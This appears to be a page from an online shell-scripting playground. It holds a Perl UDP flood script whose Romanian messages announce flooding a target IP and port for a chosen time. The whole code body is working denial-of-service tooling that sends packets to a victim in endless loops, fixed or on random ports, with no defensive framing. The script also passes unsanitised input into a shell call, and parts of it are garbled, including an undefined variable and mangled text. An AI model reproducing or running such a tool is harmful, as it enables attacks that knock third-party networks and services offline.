Speed up development with full-stack environments for every branch.

Learn More

Flod [shell and bash]

Forked from Basic Shell Example.

6 Runs 16 Views 2 Copies
Saved

Saved

iArrow 1

iArrow
published 8 days ago

    #!/usr/bin/perl
    use Socket;
    [email protected];
    if ($ARGC !=3) {
    printf " [0;31m*  [0;32mAi gresit comanda fratioru, foloseste:  [0;31m$0 <ip> <port> <time>  [0;31m* [0m\n";
    exit(1);
    }
    my ($ip,$port,$size,$time);
    $ip=$ARGV[0];
    $port=$ARGV[1];
    $time=$ARGV[2];
    socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");
    
    
    printf " [1;35m# [1;33m# [1;31m* [0;32m Dam flood in ip-ul:  [1;36m$ip [0;32m pe portul:  [1;36m$port [0;32m, timp:  [1;36m$time [0m\n";
    printf " [1;35m# [1;33m# [1;31m* [0;32m Arhiva Flood   [0;31mPRIVATA  [0m\n ";
    printf " [1;35m# [1;33m# [1;31m* [0;32m By  [1;33mDa Kurlzz & HazeeW  [1;36m2015-2016  [0m\n";
    printf " [1;35m# [1;33m# [1;31m* [0;32m Intrerupe flood-ul tastand comanda  [1;36mCTRL+C  [0m\n";
    
    if ($ARGV[1] ==0 && $ARGV[2] ==0) {
    goto randpackets;
    }
    if ($ARGV[1] !=0 && $ARGV[2] !=0) {
    system("(sleep $time;killall -9 udp) &");
    goto packets;
    }
    if ($ARGV[1] !=0 && $ARGV[2] ==0) {
    goto packets;
    }
    if ($ARGV[1] ==0 && $ARGV[2] !=0) {
    system("(sleep $time;killall -9 udp) &"); 
    goto randpackets;
    }
    packets:
    for (;;) {
    $size=$rand x $rand x $rand;
    send(crazy, 8, $size, sockaddr_in($port, $iaddr));
    }
    randpackets:
    for (;;) {
    $size=$rand x $rand x $rand;
    $port=int(rand 79500) +0;
    send(crazy, 0, $size, sockaddr_in($port, $iaddr));
    }
    Please login/signup to get access to the terminal.

    Your session has timed out.

    Dismiss (the page may not function properly).